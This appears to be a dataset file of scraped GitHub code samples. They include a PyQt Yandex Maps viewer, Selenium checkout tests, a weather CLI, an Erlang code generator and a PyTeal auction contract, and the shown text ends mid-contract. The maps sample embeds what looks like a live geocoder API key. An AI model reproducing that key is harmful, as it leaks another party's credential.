diff --git "a/3830.jsonl" "b/3830.jsonl" new file mode 100644--- /dev/null +++ "b/3830.jsonl" @@ -0,0 +1,503 @@ +{"seq_id":"41287486864","text":"from PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import QPixmap\nimport sys\nimport requests\nimport os\n\n\nmap_url = 'http://static-maps.yandex.ru/1.x/?'\ngeocoder_url = 'http://geocode-maps.yandex.ru/1.x/?apikey=40d1649f-0493-4b70-98ba-98533de7710b'\nWINDOW_SIZE = 750, 550\nMAP_SIZE = 600, 450\n\n\nclass Window(QWidget):\n def __init__(self):\n super().__init__()\n self.z = 15\n self.coords = [37.530887, 55.703118]\n self.layout = 'sat'\n self.points = []\n self.get_image()\n self.initUI()\n self.connect_actioins()\n\n def get_image(self):\n size = ','.join(map(str, MAP_SIZE))\n coords = ','.join(map(str, self.coords))\n z = str(self.z)\n\n map_request = \\\n map_url +\\\n 'll=' + coords +\\\n '&z=' + z +\\\n '&size=' + size +\\\n '&l=' + self.layout +\\\n '&pt=' + '~'.join(self.points)\n response = requests.get(map_request)\n\n if not response:\n print(\"Ошибка выполнения запроса:\")\n print(map_request)\n print(\"Http статус:\", response.status_code, \"(\", response.reason, \")\")\n sys.exit(1)\n\n # Запишем полученное изображение в файл.\n self.map_file = \"map.png\"\n with open(self.map_file, \"wb\") as file:\n file.write(response.content)\n\n def render_image(self):\n self.pixmap = QPixmap(self.map_file)\n self.image.setPixmap(self.pixmap)\n\n def get_geocoder_data(self):\n try:\n data = self.search_bar.toPlainText()\n geocoder_request = geocoder_url +\\\n '&geocode=' + data +\\\n '&format=json'\n response = requests.get(geocoder_request)\n\n if not response:\n print(\"Ошибка выполнения запроса:\")\n print(geocoder_request)\n print(\"Http статус:\", response.status_code, \"(\", response.reason, \")\")\n sys.exit(1)\n else:\n json_response = response.json()\n toponym = json_response[\"response\"][\"GeoObjectCollection\"][\"featureMember\"][0][\"GeoObject\"]\n toponym_pos = toponym[\"Point\"][\"pos\"]\n self.points.append(toponym_pos.replace(' ', ',') + ',pm2rdm')\n print(self.points)\n self.change_coords(toponym_pos)\n except Exception as e:\n print(e)\n\n def change_coords(self, coords):\n self.coords = list(map(float, coords.split()))\n self.get_image()\n self.render_image()\n\n def initUI(self):\n # Окно\n self.setWindowTitle('Отображение карты')\n self.setGeometry(500, 250, *WINDOW_SIZE)\n\n # Изображение\n self.image = QLabel(self)\n self.image.move(10, 10)\n self.image.resize(*MAP_SIZE)\n self.render_image()\n\n # Кнопки\n self.scheme_btn = QPushButton('Схема', self)\n self.scheme_btn.move(650, 30)\n self.scheme_btn.resize(70, 30)\n\n self.sat_btn = QPushButton('Спутник', self)\n self.sat_btn.move(650, 60)\n self.sat_btn.resize(70, 30)\n\n self.hybrid_btn = QPushButton('Гибрид', self)\n self.hybrid_btn.move(650, 90)\n self.hybrid_btn.resize(70, 30)\n\n # Поиск\n self.search_bar = QTextEdit(self)\n self.search_bar.move(10, 480)\n self.search_bar.resize(300, 30)\n\n self.search_btn = QPushButton('Искать', self)\n self.search_btn.move(320, 480)\n self.search_btn.resize(70, 30)\n\n def connect_actioins(self):\n self.scheme_btn.clicked.connect(lambda: self.change_layout('map'))\n self.sat_btn.clicked.connect(lambda: self.change_layout('sat'))\n self.hybrid_btn.clicked.connect(lambda: self.change_layout('sat,skl'))\n\n self.search_btn.clicked.connect(self.get_geocoder_data)\n\n def change_layout(self, layout):\n if self.layout != layout:\n self.layout = layout\n self.get_image()\n self.render_image()\n\n def keyPressEvent(self, event):\n if event.key() == Qt.Key_PageDown:\n if self.z < 17:\n self.z += 1\n self.get_image()\n self.render_image()\n if event.key() == Qt.Key_PageUp:\n if self.z > 1:\n self.z -= 1\n self.get_image()\n self.render_image()\n\n def closeEvent(self, event):\n \"\"\"При закрытии формы подчищаем за собой\"\"\"\n os.remove(self.map_file)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n screen = Window()\n screen.show()\n sys.exit(app.exec_())\n","repo_name":"SlinkierSwine/Yandex.Maps","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4838,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"12203887531","text":"from Resources.Locators import Locators\nfrom Resources.PO.Account import Account\nfrom Resources.PO.Cart import Cart\nfrom Resources.PO.Checkout import Checkout\nfrom Resources.PO.Home import HomePage\nfrom Resources.PO.Login import Login\nfrom Resources.PO.MyWishlist import MyWishlist\nfrom Resources.PO.ThankYouPage import ThankYouPage\nfrom Resources.TestData import TestData\nfrom Tests.BaseTest import BaseTest\n\n\nclass Test_6(BaseTest):\n\n def setUp(self):\n super(Test_6, self).setUp()\n\n def runTest(self):\n self.homePage = HomePage(self.driver)\n self.homePage.click(Locators.HOME_ACCOUNT_BUTTON)\n self.homePage.click(Locators.HOME_MYACCOUNT_LINK)\n\n self.loginPage = Login(self.driver)\n self.loginPage.enter_text(Locators.CREATEACCOUNT_EMAIL)\n self.loginPage.enter_text(Locators.CREATEACCOUNT_PASSWORD)\n self.loginPage.click(Locators.LOGIN_LOGIN_BUTTON)\n\n self.account = Account(self.driver)\n self.account.click(Locators.ACCOUNT_MYWISHLIST_LINK)\n\n self.mywishlist = MyWishlist(self.driver)\n self.mywishlist.click(Locators.MYWISHLIST_ADDTOCART_BUTTON)\n\n self.cart = Cart(self.driver)\n self.cart.setSelectorVisibleText(Locators.CART_COUNTRY_SELECTOR, TestData.CART_COUNTRY_SELECTOR)\n self.cart.setSelectorVisibleText(Locators.CART_REGION_SELECTOR, TestData.CART_STATE_SELECTOR)\n self.cart.enter_text(Locators.CART_ZIPCODE_INPUT, TestData.CART_ZIP)\n self.cart.click(Locators.CART_ESTIMATE_LINK)\n self.assertIn(Locators.CART_SHIPPINGCOST, TestData.CART_FLAT_RATE)\n self.cart.click(Locators.CART_RATE_RADIO)\n self.cart.click(Locators.CART_UPDATETOTAL_BUTTON)\n self.cart.click(Locators.CART_PROCEEDTOCHECKOUT_BUTTON)\n\n self.checkout = Checkout(self.driver)\n self.checkout.enter_text(Locators.CHECKOUT_FIRSTNAME, TestData.CREATEACCOUNT_FISTNAME)\n self.checkout.enter_text(Locators.CHECKOUT_LASTNAME, TestData.CREATEACCOUNT_LASTNAME)\n self.checkout.enter_text(Locators.CHECKOUT_ADDRESS, TestData.CHECKOUT_ADDRESS)\n self.checkout.enter_text(Locators.CHECKOUT_CITY, TestData.CHECKOUT_CITY)\n self.checkout.setSelectorVisibleText(Locators.CART_REGION_SELECTOR, TestData.CART_STATE_SELECTOR)\n self.checkout.enter_text(Locators.CHECKOUT_ZIP, TestData.CART_ZIP)\n self.checkout.setSelectorVisibleText(Locators.CART_COUNTRY_SELECTOR, TestData.CART_COUNTRY_SELECTOR)\n self.checkout.enter_text(Locators.CHECKOUT_TELEPHONE, TestData.CHECKOUT_TELEPHONE)\n self.checkout.click(Locators.CHECKOUT_BILLINGINFO_CONTINUEBUTTON)\n self.checkout.click(Locators.CHECKOUT_SHIPPINGMETHOD_CONTINUEBUTTON)\n self.checkout.click(Locators.CHECKOUT_CHECKMONEY_RADIO)\n self.checkout.click(Locators.CHECKOUT_PAYMENTINFORMATION_CONTINUEBUTTONA)\n self.checkout.click(Locators.CHECKOUT_PLACEORDER)\n\n self.thankpage = ThankYouPage(self.driver)\n self.assertNotEqual(self.thankpage.getText(Locators.THANKYPAGE_ORDERNUMBER), \"\")\n\n def tearDown(self):\n super(Test_6, self).tearDown()\n","repo_name":"eliaparra/EcommerceprojectPython","sub_path":"Tests/Test_6.py","file_name":"Test_6.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25960316188","text":"from django.conf.urls.defaults import *\nfrom django.conf import settings\n\nimport os.path\n\nurlpatterns = patterns('',\n (r'^$', 'django.views.generic.simple.direct_to_template', {'template':'main.html'}),\n (r'^feeds/', include('kral.urls')),\n)\n\nif settings.DEBUG:\n media = os.path.join(os.path.dirname(__file__), 'static')\n urlpatterns += patterns('',\n (r'^static/(?P.*)$', 'django.views.static.serve',\n {'document_root': media}),)\n\n# vim: ai ts=4 sts=4 et sw=4\n","repo_name":"lrvick/influencer","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"16134015024","text":"_VERSION = 0.10\n\ndef _logout(token, info):\n \"\"\"Logout a user.\n\n _logout(token, info)\n\n Returns the logout status page.\n \"\"\"\n import logging\n import manage_kbasix\n import aux\n uid = int(token.split('-')[0])\n manage_kbasix._delete_token(uid, token='*')\n info['token'] = ''\n info['title'] = aux._fill_str(info['goodbye_title'], info)\n info['class'] = 'information'\n info['details'] = aux._fill_str(info['goodbye_blurb'], info)\n info['status_button_1'] = ''\n info['status_button_2'] = ''\n info['main_header'] = aux._make_header(info)\n logging.debug('Successful logout (%s)' % info['login_name'])\n return aux._fill_page(info['status_page_'], info)\n\n\ndef process(req):\n \"\"\"Process the logout page.\n\n process(req)\n \"\"\"\n from manage_kbasix import _is_session, _account_info\n from aux import _make_header, _fill_page\n from defs import kbasix, logout\n info = {}\n info.update(kbasix)\n info.update(logout)\n import logging\n logging.basicConfig(level = getattr(logging, \\\n info['log_level_'].upper()), \\\n filename = info['log_file_'], \\\n datefmt = info['log_dateformat_'], \\\n format = info['log_format_'])\n if repr(type(req)) != \"\":\n logging.critical('Invalid request for logout.py')\n info['details'] = '[SYS] Invalid request [%s].' % \\\n info['error_blurb_']\n return _fill_page(info['error_page_'], info)\n try:\n session = _is_session(req, required=False)\n info.update(session)\n if session['token']:\n profile = _account_info(info['login_name'], 'profile')\n info.update(profile)\n except Exception as reason:\n logging.warn(reason)\n info['details'] = '[SYS] Unable to verify session [%s].' % \\\n info['error_blurb_']\n return _fill_page(info['error_page_'], info)\n info['main_header'] = _make_header(info)\n if not info['token']:\n info['title'] = 'Logout'\n info['class'] = 'information'\n info['details'] = 'You are not logged in.'\n info['status_button_1'] = ''\n info['status_button_2'] = ''\n return _fill_page(info['status_page_'], info)\n else:\n try:\n return _logout(info['token'], info)\n except Exception as reason:\n logging.critical(reason)\n info['details'] = '[SYS] Unable to terminate session [%s].' % \\\n info['error_blurb_']\n return _fill_page(info['error_page_'], info)\n","repo_name":"KBmarco/KBasix","sub_path":"kbasix/web/cms/logout.py","file_name":"logout.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"21259328514","text":"#! /usr/bin/env python3\n\nimport sys\nimport json\n\ndata = json.load(sys.stdin)\n\nif 'composite' in data:\n data = data['composite']\nelse:\n data = [data]\n\nfor entry in data:\n color = entry.get('color', None)\n bg = entry.get('background', None)\n text = entry['full_text']\n\n sep = \"\"\n if 'separator' in entry:\n if entry['separator']:\n sep = \"\\x1b[90m|\\x1b[0m\"\n else:\n sep = \" \"\n\n c = \"\"\n\n if color is not None:\n r = int(color[1:3], 16)\n g = int(color[3:5], 16)\n b = int(color[5:7], 16)\n c += \"\\x1b[38;2;%d;%d;%dm\" % (r, g, b)\n\n if bg is not None:\n r = int(bg[1:3], 16)\n g = int(bg[3:5], 16)\n b = int(bg[5:7], 16)\n c += \"\\x1b[48;2;%d;%d;%dm\" % (r, g, b)\n\n print(\"%s%s\\x1b[0m\" % (c, text), end=sep)\n\nprint(\"\")\n","repo_name":"GinjaNinja32/dotfiles","sub_path":"i3status/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23341351022","text":"#!/usr/bin/env python3\n\n# cli for getting current temperature from a given location\n# script defaults to Longmont, CO, but you can specify any zip or country of your choosing\n\n# couple main things this script does:\n# 1. Sets up the argument parser for the CLI\n# 2. Grabs API key from env var\n# 3. Verifies that there is an API key\n# 4. Constructs url to hit with interpolation from arg parser\n# 5. Makes request and stores is as a variable\n# 6. Checks the status code from API\n# 7. Converts response from API into a python dict object\n# 8. Returns formatted results\n\nimport os\nimport requests\nimport sys\nimport json\n\nfrom argparse import ArgumentParser\n\n# setup cli arguments\nparser = ArgumentParser(description='Get the current weather information for your zip code')\nparser.add_argument('zip', nargs='?', default=80503, help='zip/postal code to get weather for')\nparser.add_argument('--country', default='us', help='country zip/postal belongs to, default is \"us\"')\n\nargs = parser.parse_args()\n\n# set the API key from environment variable\napi_key = os.getenv('OWM_API_KEY')\n\n# check to see if API key is loaded\nif not api_key:\n print(\"Error: no API key provided\")\n sys.exit(1)\n\n# define URL to hit\nurl = f\"http://api.openweathermap.org/data/2.5/weather?zip={args.zip},{args.country}&appid={api_key}&units=imperial\"\n\n# make API call\nres = requests.get(url)\n\nif res.status_code != 200:\n print(f\"Error talking to weather provider: {res.status_code}\")\n sys.exit(2)\n\n# serialize json to a string\n# data = json.dumps(res.json(), indent=2)\n\n# deserialize to a python dictionary object\n# parse = json.loads(data)\n\n# this way way easier; grabs raw text/json output, then deserializes it into a dict object\nparse = json.loads(res.text)\n\n# extracting the data we need from the returned json\nactual_temp = parse[\"main\"]['temp']\nrelative_temp = parse[\"main\"]['feels_like']\nhigh = parse[\"main\"]['temp_max']\nlow = parse[\"main\"]['temp_min']\n\nprint(f'**Current temperature conditions for {parse[\"name\"]}**\\n Actual temp: {actual_temp}F\\n Feels like: {relative_temp}\\n High: {high}F\\n Low: {low}F')\n\n# print(res.json())\n","repo_name":"whompus/python3forsysadmins","sub_path":"exercises/weather_test.py","file_name":"weather_test.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"109811457","text":"def dfs(x, y):\n global cnt # 함수 외부에서도 사용해야하는 변수이기때문에 전역변수 선언\n if x <= -1 or x >= n or y <= -1 or y >= n: # 22의 조건(좌표의 크기를 넘어가지 않는경우)\n return False\n if gragh[x][y] == 1: # 현재의 노드가 1인 경우 즉, 아파트가 존재하는 경우\n gragh[x][y] = \"@\" # 현재 노드를 방문처리한다.\n cnt += 1\n dfs(x-1,y)\n dfs(x+1,y)\n dfs(x,y-1)\n dfs(x,y+1)\n return True\n return False\n\n\nn = int(input())\ngragh = [list(map(int, input())) for _ in range(n)]\ncnt = 0 # 단지내의 아파트 개수 증가\nans = []\n\n# 모든 정점(좌표)을 확인해서 시작점이 될 수 있는지 확인(좌표의 크기 n을 넘어가거나 0보다 작지 않은 경우).조건을 만족하는 경우 dfs 탐색시작\nfor i in range(n):\n for j in range(n):\n if dfs(i,j) == True: # 22의 조건을 만족한다면 함수 이하 실행\n ans.append(cnt)\n cnt = 0\n\nprint(len(ans)) # 총 단지의 수\nans.sort()\nprint(\"\\n\".join(map(str, ans)))\n","repo_name":"ta09472/algo","sub_path":"boj_2667.py","file_name":"boj_2667.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70695686119","text":"import os\nimport re\n\n\nimport src.help_mod as HelpMod\nimport src.cfg as CfgMod\n\n# 负责lib文件\n\n\n# 生成lib文件\ndef create_lib_file(pro_mod):\n # lib文件名\n file_name = \"{0}/{1}_lib.erl\".format(pro_mod.dir_path, pro_mod.mod_name)\n str = \"\"\n # 文件是否存在\n if os.path.exists(file_name):\n # 存在文件\n with open(file_name, 'r', encoding = \"utf-8\") as f:\n str = f.read()\n # 遍历协议\n for tmp_key in pro_mod.request_key:\n protocol_obj = pro_mod.protocol_map[tmp_key]\n # 替换已存在的函数参数\n str,ret = replace_lib_fun_param(str, pro_mod, protocol_obj)\n # 添加不存在的函数\n if not ret:\n str = add_lib_fun_param(str, pro_mod, protocol_obj)\n \n # 遍历结构\n for record_obj in pro_mod.mod.record_define:\n # 添加不存在的结构转换函数\n str = add_record_p_str(str, pro_mod, record_obj)\n else:\n # 不存在文件\n # 创建新的lib文件\n str = create_lib_file_1(pro_mod)\n \n # 写到文件\n with open(file_name, 'w', encoding = \"utf-8\") as f:\n f.write(str)\n\n# 创建新的rpc文件\ndef create_lib_file_1(pro_mod):\n # 文件开头\n str = HelpMod.get_file_head_str()\n # mod字符串\n str += get_lib_file_mod_str(pro_mod)\n # API字符串\n str += get_lib_file_api_str(pro_mod)\n # init字符串\n str += get_lib_file_init_str()\n # lib_fun字符串\n str += get_lib_file_lib_fun_str(pro_mod)\n # 获取函数\n str += get_lib_file_get_str(pro_mod)\n # 结构转换函数\n str += get_record_p_str(pro_mod)\n # 检查函数\n str += get_lib_file_check_str(pro_mod)\n # 修改函数\n str += get_lib_file_do_str(pro_mod)\n return str\n \n\n\n\n \n# lib文件\n# 获取lib mod字符串\ndef get_lib_file_mod_str(pro_mod):\n # 模块名\n str = \"\"\"\n-module({0}_lib).\n-author(\"{1}\").\n\n-include(\"{0}.hrl\").\n-include(\"player.hrl\").\n-include(\"event.hrl\").\n-include(\"task.hrl\").\n-include(\"common.hrl\").\n-include(\"erl_protocol_record.hrl\").\\n\\n\"\"\".format(pro_mod.mod_name, CfgMod.author_name)\n return str\n\n# 获取lib api字符串\ndef get_lib_file_api_str(pro_mod):\n # API\n api_str = \"\"\"\n%% API\n-export([\n first_init/0,\n on_first_login_event/2,\n%s\n\n\n\"\"\"\n # 非必要事件函数\n if CfgMod.need_event_fun:\n event_fun_str = \"\\ton_login_event/2,\\n\\ton_zero_timer_event/2,\"\n api_str = api_str%(event_fun_str)\n else:\n api_str = api_str%(\"\")\n \n # 遍历协议\n for protocol_key in pro_mod.request_key:\n api_str += get_api_str_1(pro_mod, protocol_key)\n if len(pro_mod.request_key) > 0:\n api_str = api_str[:-2]\n api_str += \"\\n]).\\n\"\n\n # gm\n gm_str = \"\"\"\n%% gm\n-export([\n]).\\n\\n\n\"\"\"\n api_str += gm_str\n return api_str\n\ndef get_api_str_1(pro_mod, protocol_key):\n protocol_obj = pro_mod.protocol_map[protocol_key]\n fun_name = HelpMod.get_fun_name(pro_mod, protocol_key)\n param_num = len(protocol_obj.param)\n return \"\\t%s/%s,\\n\"%(fun_name, param_num+1)\n\n# 获取lib init字符串\ndef get_lib_file_init_str():\n # 函数结构\n init_fun =\"\"\"\n%% 初始化模块\nfirst_init() ->\n\tevent_dispatcher:add_event_listener_once(?EVENT_AFTER_FIRST_INIT, ?MODULE, on_first_login_event)%s\n\n%% 登录初始化\non_first_login_event(_Player, _Param) ->\n\tok.\n\n%s\n\n\"\"\"\n # 非必要事件函数\n if CfgMod.need_event_fun:\n event_fun_str = \"\"\",\\n\\tevent_dispatcher:add_event_listener(?EVENT_PLAYER_LOGIN, ?MODULE, on_login_event),\n\\tevent_dispatcher:add_event_listener(?EVENT_ZERO_TIMER, ?MODULE, on_zero_timer_event).\"\"\"\n event_fun_str_1 = \"\"\"\n%% 登录事件\non_login_event(_Player, _Param) ->\n\tok.\n\n%% 零点事件\non_zero_timer_event(_Player, _Param) ->\n\tok.\"\"\"\n init_fun = init_fun%(event_fun_str, event_fun_str_1)\n else:\n init_fun = init_fun%(\".\", \"\")\n\n return init_fun\n\n# 获取lib lib_fun字符串\ndef get_lib_file_lib_fun_str(pro_mod):\n str = \"\\n\\n\\n%% @doc 协议函数\"\n for protocol_key in pro_mod.request_key:\n tmp_lib_fun = get_lib_file_lib_fun_str_1(pro_mod, protocol_key)\n str += tmp_lib_fun\n return str\n\ndef get_lib_file_lib_fun_str_1(pro_mod, protocol_key):\n lib_fun = \"\"\"\n%% @doc {0}\n{1}({2}) ->\n\ttry check_{1}({2}) of\n\t\tok ->\n\t\t\tdo_{1}({2})\n\tcatch throw : Code ->\n\t\t{{false, Code}}\n\tend.\n \"\"\"\n protocol_obj = pro_mod.protocol_map[protocol_key]\n # 函数参数\n tmp_lib_fun = lib_fun.format(\n protocol_obj.desc\n , HelpMod.get_fun_name(pro_mod, protocol_key)\n , HelpMod.get_fun_param(protocol_obj)\n )\n return tmp_lib_fun\n \n\n# 获取lib 获取字符串\ndef get_lib_file_get_str(pro_mod):\n str = \"\"\"\n\\n\\n\\n\n%% @doc 获取函数\n%% @doc 获取数据\n-spec lookup(PlayerId :: integer()) -> #player_{0}{{}}.\nlookup(PlayerId) when is_integer(PlayerId) ->\n\tcase cache_unit:lookup(cache_player_{0}, PlayerId) of\n\t\tundefined ->\n\t\t\t#player_{0}{{\n\t\t\t\tplayer_id = PlayerId\n\t\t\t}};\n\t\t{1} -> {1}\n\tend;\nlookup(Player) ->\n\tlookup(player_lib:player_id(Player)).\n\n%% @doc 保存数据\nsave_info({1}) ->\n\tcache_unit:insert(cache_player_{0}, {1}).\n \"\"\"\n str = str.format(\n pro_mod.mod_name\n , HelpMod.get_erl_val_name(pro_mod.mod_name)\n )\n return str\n\n# 结构转换函数\ndef get_record_p_str(pro_mod):\n # 遍历协议\n str = \"\"\n for record_obj in pro_mod.mod.record_define:\n str += get_record_p_str_1(record_obj)\n return str \n\n# 玩法数据结构\ndef get_record_p_str_1(record_obj):\n str = \"\"\"\n%% @doc \n{0}(#{1}{{{3}}}) ->\n\t#{1}_p{{\n\t\t{4}\n\t}}.\n{0}([], List) -> List;\n{0}([{2} | T], List) ->\n\t{0}(T, [{0}({2}) | List]).\n \"\"\"\n record_name = record_obj[0][:-2]\n record_param_str,record_param_str_1 = HelpMod.get_record_param_str(record_obj[1])\n\n str = str.format(\n \"to_%s_p\"%(record_name)\n , record_name\n , HelpMod.get_erl_val_name(record_name)\n , record_param_str\n , record_param_str_1\n )\n return str \n\n# 获取lib check字符串\ndef get_lib_file_check_str(pro_mod):\n str = \"\\n\\n\\n%% @doc 检查函数\"\n for protocol_key in pro_mod.request_key:\n str += get_lib_file_check_str_1(pro_mod, protocol_key)\n return str\n\ndef get_lib_file_check_str_1(pro_mod, protocol_key):\n check_fun = \"\"\"\n%%%% @doc 检查%s\ncheck_%s(%s) ->\n\tok.\n \"\"\"\n protocol_obj = pro_mod.protocol_map[protocol_key]\n tmp_check_fun = check_fun%(\n protocol_obj.desc[2:]\n , HelpMod.get_fun_name(pro_mod, protocol_key)\n , HelpMod.get_fun_param(protocol_obj)\n )\n return tmp_check_fun\n\n# 获取lib do字符串\ndef get_lib_file_do_str(pro_mod):\n str = \"\\n\\n\\n%% @doc 修改函数\"\n for protocol_key in pro_mod.request_key:\n str += get_lib_file_do_str_1(pro_mod, protocol_key)\n return str\n\ndef get_lib_file_do_str_1(pro_mod, protocol_key):\n do_fun = \"\"\"\n%%%% @doc %s\ndo_%s(%s) ->\n\t{ok, #%s{}}.\n \"\"\"\n protocol_obj = pro_mod.protocol_map[protocol_key]\n tmp_do_fun = do_fun%(\n protocol_obj.desc[2:]\n , HelpMod.get_fun_name(pro_mod, protocol_key)\n , HelpMod.get_fun_param(protocol_obj)\n , protocol_key.replace(\"request\", \"reply\")\n )\n return tmp_do_fun\n\n\n# 替换已存在的函数参数\ndef replace_lib_fun_param(str, pro_mod, protocol_obj):\n protocol_key = protocol_obj.protocol_key\n # api_str是否存在\n api_str = get_api_str_1(pro_mod, protocol_key)[:-4]\n if str.find(api_str) == -1:\n return str,False\n \n # 替换rpc接口函数参数\n fun_name = HelpMod.get_fun_name(pro_mod, protocol_key)\n begin_str = \"\\n%s\"%(fun_name)\n # 正则匹配函数\n a = r\"(.*)\" + begin_str + \"\\((.*?)\\) ->(.*)\"\n matchObj = re.match(a, str, re.M|re.S)\n if matchObj:\n str = \"{0}{1}({2}) ->{3}\".format(\n matchObj.group(1)\n , begin_str\n , HelpMod.get_fun_param(protocol_obj)\n , matchObj.group(3)\n )\n else:\n # 匹配不到\n print(\"替换rpc接口函数参数 err : %s\"%(protocol_key))\n \n return str,True\n \n\n \n# 添加不存在的函数\ndef add_lib_fun_param(str, pro_mod, protocol_obj):\n protocol_key = protocol_obj.protocol_key\n last_protocol_key = HelpMod.get_last_protocol_key(pro_mod, protocol_key)\n # 添加api_str\n # 上一个函数所在的位置\n last_fun_name = HelpMod.get_fun_name(pro_mod, last_protocol_key)\n api_str = get_api_str_1(pro_mod, last_protocol_key)[:-2]\n last_fun_name_pos = str.find(api_str)\n # 上个函数下方函数的位置\n end_fun_pos = last_fun_name_pos + len(api_str)\n api_str = get_api_str_1(pro_mod, protocol_key)[:-2]\n str = str[:end_fun_pos] + \",\\n\" + api_str + str[end_fun_pos:]\n \n # 添加lib_fun\n # 上一个函数所在的位置\n last_fun_name = HelpMod.get_fun_name(pro_mod, last_protocol_key)\n find_str = \"\\n%s(\"%(last_fun_name)\n last_fun_name_pos = str.find(find_str)\n # 上个函数下方函数的位置\n end_fun_pos = str.find(\"\\n%%\", last_fun_name_pos)\n lib_fun_str = get_lib_file_lib_fun_str_1(pro_mod, protocol_key)\n str = str[:end_fun_pos] + lib_fun_str + \"\\n\" + str[end_fun_pos:]\n \n # 添加check_fun\n # 上一个函数所在的位置\n find_str = \"\\ncheck_%s(\"%(last_fun_name)\n last_fun_name_pos = str.find(find_str)\n # 上个函数下方函数的位置\n end_fun_pos = str.find(\"\\n%%\", last_fun_name_pos)\n check_fun_str = get_lib_file_check_str_1(pro_mod, protocol_key)\n str = str[:end_fun_pos] + check_fun_str + \"\\n\" + str[end_fun_pos:]\n \n # 添加do_fun\n # 上一个函数所在的位置\n find_str = \"\\ndo_%s(\"%(last_fun_name)\n last_fun_name_pos = str.find(find_str)\n # 上个函数下方函数的位置\n end_fun_pos = str.find(\"\\n%%\", last_fun_name_pos)\n do_fun_str = get_lib_file_do_str_1(pro_mod, protocol_key)\n str = str[:end_fun_pos] + do_fun_str + \"\\n\" + str[end_fun_pos:]\n \n return str\n\n# 添加结构转换函数\ndef add_record_p_str(str, pro_mod, record_obj):\n # 结构转换函数是否存在\n record_name = record_obj[0]\n find_str = \"\\nto_%s(\"%(record_name)\n if str.find(find_str) >= 0:\n return str\n \n # 上一个函数所在位置\n last_record_key = HelpMod.get_last_record_key(pro_mod, record_obj[0])\n find_str = \"\\nto_%s(\"%(last_record_key)\n last_fun_name_pos = str.find(find_str)\n # 是否存在上一个的位置\n if last_fun_name_pos == -1:\n # 获取save_info的位置\n find_str = \"\\nsave_info(\"\n last_fun_name_pos = str.find(find_str)\n # 上个函数下方函数的位置\n end_fun_pos = str.find(\"\\n%%\", last_fun_name_pos)\n record_p_str = get_record_p_str_1(record_obj)\n str = str[:end_fun_pos] + record_p_str + \"\\n\" + str[end_fun_pos:]\n return str","repo_name":"huangwenzi/get_erl_dir","sub_path":"src/lib_mod.py","file_name":"lib_mod.py","file_ext":"py","file_size_in_byte":10899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"923557977","text":"from typing import Final\nfrom beaker import *\nfrom pyteal import *\n#import os\n#import json\n#from algosdk.future import transaction\n#from algosdk.atomic_transaction_composer import (TransactionWithSigner)\n\nMIN_FEE = Int(1000) # minimum fee on Algorand is currently 1000 microAlgos\n\nclass Auction(Application):\n\n ##############\n # Application State\n ##############\n\n # Declare Application state, marking `Final` here so the python class var doesn't get changed\n # Marking a var `Final` does _not_ change anything at the AVM level\n\n # Global Bytes (2)\n governor: Final[ApplicationStateValue] = ApplicationStateValue(\n stack_type = TealType.bytes,\n key = Bytes(\"g\"),\n default = Global.creator_address(),\n descr = \"The current governor of this contract, allowed to do admin type actions\"\n )\n\n highest_bidder: Final[ApplicationStateValue] = ApplicationStateValue(\n stack_type = TealType.bytes\n )\n\n # Global Ints (2)\n highest_bid: Final[ApplicationStateValue] = ApplicationStateValue(\n stack_type = TealType.uint64\n )\n\n auction_end: Final[ApplicationStateValue] = ApplicationStateValue(\n stack_type = TealType.uint64\n )\n\n\n @create\n def create(self):\n return self.initialize_application_state()\n\n# @create\n# def create(self):\n# return Seq(\n# [\n# self.governor.set(Txn.sender()),\n# self.highest_bidder.set(Bytes(\"\")),\n# self.highest_bid.set(Int(0)),\n# self.auction_end.set(Int(0))\n# ]\n# )\n\n @external(authorize = Authorize.only(governor))\n def set_governor(self, new_governor: abi.Account):\n \"\"\"sets the governor of the contract, may only be called by the current governor\"\"\"\n return self.governor.set(new_governor.address())\n\n\n ##############\n # Smart Contract payment\n ##############\n\n # Refund previous bidder\n @internal(TealType.none)\n def pay_bidder(self, receiver: Expr, amount: Expr):\n return Seq(\n InnerTxnBuilder.Begin(), #Inner transactions are only available in AVM version 5 or higher <<<--- CHECK (source: https://pyteal.readthedocs.io/en/stable/accessing_transaction_field.html)\n InnerTxnBuilder.SetFields(\n {\n TxnField.type_enum: TxnType.Payment,\n TxnField.receiver: receiver,\n TxnField.amount: amount,\n TxnField.fee: Int(0),\n# TxnField.fee: MIN_FEE,\n# TxnField.close_remainder_to: Global.zero_address(),\n# TxnField.rekey_to: Global.zero_address\n }\n ),\n InnerTxnBuilder.Submit()\n )\n\n # Send total amount of smart contract back to the owner and close the account\n @internal(TealType.none)\n def pay_owner(self, receiver: Expr, amount: Expr):\n return Seq(\n InnerTxnBuilder.Begin(), #Inner transactions are only available in AVM version 5 or higher <<<--- CHECK (source: https://pyteal.readthedocs.io/en/stable/accessing_transaction_field.html)\n InnerTxnBuilder.SetFields(\n {\n TxnField.type_enum: TxnType.Payment,\n TxnField.receiver: receiver,\n TxnField.amount: amount,\n# TxnField.fee: Int(0),\n TxnField.fee: MIN_FEE,\n# TxnField.fee: Global.min_txn_fee,\n TxnField.close_remainder_to: Global.creator_address(),\n# TxnField.rekey_to: Global.zero_address()\n }\n ),\n InnerTxnBuilder.Submit()\n )\n\n\n ##############\n # Start auction\n ##############\n\n #TRANSACTION IMPLEMENTATION (FROM 